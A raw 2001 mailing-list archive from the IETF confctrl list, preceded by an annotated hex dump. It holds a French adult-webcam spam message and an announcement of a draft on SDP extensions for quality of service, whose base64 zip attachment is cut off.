00d0: 4c 24 12 89 07 9e bc 94 48 24 1e 48 24 29 04 82 | L$.?.?¼?H$.H$).,

00e0: 41 20 90 48 24 12 09 07 9e d2 89 04 83 c9 0d 20 | A ?H$...?Ò?.fÉ.
00f0: 90 48 25 12 14 82 41 20 f3 c9 84 e2 61 30 98 79 | ?H%..,A óÉ?âa0~y

0100: 20 98 a7 13 0f 3c 9c 4c 26 13 09 84 82 41 20 90 |  ~§..<?L&..?,A ?

0110: 48 24 1e 79 20 90 d2 0f 3c f2 41 20 90 48 24 12 | H$.y ?Ò.<òA ?H$.

0120: 09 04 83 cf 3c f2 41 20 98 48 24 1e 79 e4 82 41 | ..fÏ<òA ~H$.yä,A

0130: 20 90 48 24 12 0f 3c 9c 79 20 90 48 24 12 09 04 |  ?H$..<?y ?H$...

0140: a3 c9 04 82 41 20 90 79 e7 92 09 84 c2 61 30 98 | £É.,A ?yç?.?Âa0~

0150: 4c 26 13 0f 3c f2 41 20 90 48 24 1e 79 30 90 48 | L&..<òA ?H$.y0?H

0160: 24 12 09 04 82 41 20 90 79 e7 92 09 04 82 41 20 | $...,A ?yç?..,A
0170: f3 c9 44 82 41 20 90 48 24 12 09 07 9e 79 e4 82 | óÉD,A ?H$...?yä,

0180: 41 e7 92 8f 3c 94 48 24 12 09 04 82 41 20 90 48 | Aç??<?H$...,A ?H

0190: 24 12 09 04 85 e4 a2 51 20 94 4a 24 12 09 04 82 | $...?ä¢Q ?J$...,

01a0: 41 20 90 48 24 12 09 04 82 41 ea 51 28 90 4a 25 | A ?H$...,AêQ(?J%

01b0: 12 09 04 82 41 20 90 48 24 12 09 04 82 41 20 f3 | ...,A ?H$...,A ó

01c0: c9 44 a2 41 28 94 48 24 12 09 07 92 09 04 82 41 | ÉD¢A(?H$...?..,A

01d0: 20 90 48 24 13 09 84 82 41 24 00 02 68 42 00 1b |  ?H$..?,A$..hB..

                                                    ^^^^^^^^^
                                                    channel 0, length
x268 (decimal 616)
01e0: 88 00 00 09 8a 00 00 01 81 44 d1 40 00 25 0a e4 | ^...S...?DÑ@.%.ä

01f0: c5 00 0c 70 3f ff 6e 38 11 a7 e7 da 6d 0a 38 19 | Å..p?ÿn8.§çÚm.8.

0200: 24 2f e0 64 b3 27 98 31 fd d5 04 d1 f8 1f f6 a4 | $/àd³'~1ýÕ.Ñø.ö¤

0210: 23 81 ec 7c 04 6d 8d 36 cf 79 30 69 0f b1 84 53 | #?ì|.m?6Ïy0i.±?S

0220: a5 37 ac 0d 68 2e c9 24 01 16 22 3f 23 99 74 58 | ¥7¬.h.É$.."?#?tX

                                          ^^^^^^^^^
                                           channel 1, length x1622
(decimal 5666)
0230: 31 39 fb b0 01 b1 a1 55 6c 47 48 92 01 05 51 71 | 19û°.±¡UlGH?..Qq

0240: 86 d8 a8 00 99 10 bc 27 3d c2 c3 87 d4 aa 8a 7a | ?ب.?.¼'=ÂÃ?ÔªSz

0250: 88 5d 12 8d 68 2c 08 2f 17 e4 09 79 ad 87 3c d5 | ^].?h,./.ä.y­?<Õ

0260: 4a eb f5 11 04 38 59 77 7e 67 43 10 11 14 d8 cc | Jëõ..8Yw~gC...ØÌ

0270: c6 2c 00 00 1a b6 d4 84 06 e2 43 db 02 ec 59 a9 | Æ,...¶Ô?.âCÛ.ìY©

0280: 11 a7 70 82 e6 d8 47 7a d1 86 5a 33 44 2c 34 29 | .§p,æØGzÑ?Z3D,4)

0290: 32 80 15 89 00 81 d2 98 85 f4 12 c1 7f d2 58 77 | 2?.?.?Ò~?ô.ÁÒXw

02a0: af 10 80 35 a1 31 51 b2 19 2c 21 a6 7c bf 75 18 | ¯.?5¡1Q².,!¦|¿u.

02b0: ad 2f 1b e1 1a 02 d1 20 4b 20 30 c1 ba 6c 0f 96 | ­/.á..Ñ K 0Áºl.-

02c0: e8 d6 ab ea 12 3e 8c c6 1d 3a 2e 8f ec 54 14 d4 | èÖ«ê.>?Æ.:.?ìT.Ô

02d0: 98 40 71 31 70 0c 9f f9 48 4d 85 09 98 7c 99 88 | ~@q1p.YùHM?.~|?^

02e0: 90 1a 06 1a 61 a1 33 9f e6 97 82 87 9e ee b7 8b | ?...a¡3Yæ-,??î·<

02f0: 50 01 d6 a3 a6 29 71 41 68 5d 0a 42 9d 75 ef 9e | P.Ö£¦)qAh].B?uï?

0300: a0 ce 7a 60 04 0f 49 a3 85 01 0b fb 80 6c 5f a4 |  Îz`..I£?..û?l_¤

0310: 61 54 00 11 cf a2 05 ab f4 06 71 9d c9 84 5b 8a | aT..Ï¢.«ô.q?É?[S

0320: b3 90 d1 c0 7c fd df 93 c0 ba d6 10 11 f6 5d e6 | ³?ÑÀ|ýß?ÀºÖ..ö]æ

0330: 1e ff 51 83 0e 86 4f 7a 26 f6 e5 dd 69 4a 59 cf | .ÿQf.?Oz&öåÝiJYÏ

0340: 81 95 a2 78 e5 a3 0e cb 5e cb 35 1b b4 95 52 c1 | ?*¢xå£.Ë^Ë5.´*RÁ

0350: c6 b5 31 b9 98 55 3d 56 7a 46 44 bd 4d c8 5d 0e | Ƶ1¹~U=VzFD½MÈ].

0360: fc d1 35 5d 13 c0 1b 2e e3 10 cd 4a 55 4d 79 04 | üÑ5].À..ã.ÍJUMy.

0370: a2 36 36 ce e8 01 51 8e 25 31 5b 90 0c f9 da c2 | ¢66Îè.Q?%1[?.ùÚÂ

0380: 6b 78 4c 61 00 31 1d c1 9d 24 07 ae c2 a1 5f 0c | kxLa.1.Á?$.®Â¡_.

0390: d3 55 b9 bb 47 38 b9 dd fa 93 01 a0 65 88 ec 70 | ÓU¹»G8¹Ýú?. e^ìp

03a0: f5 0b 46 71 f5 30 09 d5 f0 d9 8d 98 10 9d 08 c6 | õ.Fqõ0.ÕðÙ?~.?.Æ

03b0: dc 8c 9b f0 95 6b 58 e5 fd bc 7b 8b 73 47 77 d4 | Ü?>ð*kXåý¼{03c0:
9e c5 17 70 a1 aa 70 d6 e4 79 d3 12 18 ff 4f 32 | ?Å.p¡ªpÖäyÓ..ÿO2
03d0: cc 63 1d a8 54 6d b6 2d 99 9a bb 7c 45 17 6b 6d | Ìc.¨Tm¶-?s»|E.km

03e0: 65 88 0f 17 03 0d 62 24 39 51 ad 56 11 56 fb cd | e^....b$9Q­V.VûÍ

03f0: 55 8e 63 91 d3 5b a1 e1 cf 88 0c 2c 77 68 5b 3c | U?c?Ó[¡áÏ^.,wh[<

0400: f6 b7 80 d5 62 dd 77 7a b6 35 58 59 33 d2 94 d0 | ö·?ÕbÝwz¶5XY3Ò?Ð

0410: 92 12 61 18 0d 43 d3 1a 50 09 2d e9 a9 6d 03 5e | ?.a..CÓ.P.-é©m.^

0420: 09 97 c6 0d 5d bf bc f2 55 62 bb 86 35 d6 5e 5f | .-Æ.]¿¼òUb»?5Ö^_

0430: f3 bb f5 b3 c6 6f 0b 21 df 24 df 0b e0 d5 47 d1 | ó»õ³Æo.!ß$ß.àÕGÑ

0440: 05 5c e9 38 66                                  | .\é8f


From confctrl-owner  Tue Nov 13 09:20:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA24466
	for confctrl-outgoing; Tue, 13 Nov 2001 09:20:51 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA24461
	for <confctrl@zephyr.isi.edu>; Tue, 13 Nov 2001 09:20:50 -0800 (PST)
Received: from yourwebsite.com (Mix-Pointe-a-Pitre-105-1-76.abo.wanadoo.fr [80.9.125.76])
	by gamma.isi.edu (8.11.6/8.11.2) with SMTP id fADHLDH28259
	for <confctrl@isi.edu>; Tue, 13 Nov 2001 09:21:16 -0800 (PST)
Message-Id: <200111131721.fADHLDH28259@gamma.isi.edu>
Reply-To: sympa.mon.site....@ISI.EDU
From: murielle@pulpa.com
To: confctrl@ISI.EDU
Subject: coucou
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Tue, 13 Nov 2001 16:55:13 +0100
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Salut Sophie

Comme convenu je te fais parvenir l'adresse de ma première page web avec un webcam un peu osée !
ma photo est pas des plus terrible mais je ferais mieux apres......" rires "

http://lesbisous.com/murielle

Comme tu me l'as conseillé, en cliquant sur la photo de la page centrale tu pourras 
accéder à ma web cam. 

Merci de me donner tes commentaires après ta visite.

je t embrasse 
A+



From confctrl-owner  Thu Nov 15 08:56:09 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA11780
	for confctrl-outgoing; Thu, 15 Nov 2001 08:56:09 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA11775
	for <confctrl@zephyr.isi.edu>; Thu, 15 Nov 2001 08:56:08 -0800 (PST)
Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fAFGufg16210
	for <confctrl@isi.edu>; Thu, 15 Nov 2001 08:56:41 -0800 (PST)
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id fAFGuYG03614
	for <confctrl@isi.edu>; Thu, 15 Nov 2001 17:56:34 +0100 (MET)
Received: from alcatel.be ([138.203.33.181])
          by Bemail06.net.alcatel.be (Lotus Domino Release 5.0.8)
          with ESMTP id 2001111517563206:4999 ;
          Thu, 15 Nov 2001 17:56:32 +0100 
Message-ID: <3BF3F3BA.A03FC635@alcatel.be>
Date: Thu, 15 Nov 2001 17:56:26 +0100
From: lieve.bos@alcatel.be
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: New draft on 'SDP extensions for Quality of Service'
X-MIMETrack: Itemize by SMTP Server on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 11/15/2001 17:56:32,
	Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 11/15/2001 17:56:33
Content-Type: multipart/mixed;
 boundary="------------455F0A3F29E02512D51BDF13"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------455F0A3F29E02512D51BDF13
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii

Hello,

Please find attached a new draft on the topic of 'SDP extensions for
Quality of Service' that we intend to present to the MMUSIC WG at IETF
#52. Your comments are most welcome.


This document describes a framework to negotiate end-to-end the
"Quality" of a multimedia session "as the end-user wants to perceive
it". This UPQoS (User Perceived QoS) negotiation is achieved at session
signaling level using two types of new SDP extensions, which this
document proposes to specify. All session control elements - user agents
as well as proxies - involved in the multimedia session setup may
participate to the UPQoS negotiation.   
                   
Secondly this document proposes to specify SDP extensions which allow to
express the UPQoS level per medium stream during the UPQoS negotiation.
The first type of SDP extensions characterizes the traffic type of the
bearer associated with the medium stream. The second
tolerance/sensitivity level of the service requested by the end-user
with respect to the QoS information carried in the first type of SDP
extensions. 


It is important to note that this draft only proposes to specify some
SDP extensions. The draft does not propose any modifications to existing
session signalling protocols (e.g. SIP protocol). It reuses the current
SIP procedures for the session description negotiation. Secondly the
draft does not propose any changes to existing bearer setup mechanisms
(e.g. RSVP, Diffserv, MPLS) either. The concepts proposed in the draft
are simply complementary to existing bearer setup specifications.

Lieve Bos
--------------455F0A3F29E02512D51BDF13
Content-Type: application/x-unknown-content-type-WinZip;
 name="draft-bos-mmusic-sdpqos-framework-00.zip"
Content-Disposition: inline;
 filename="draft-bos-mmusic-sdpqos-framework-00.zip"
Content-Transfer-Encoding: base64

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
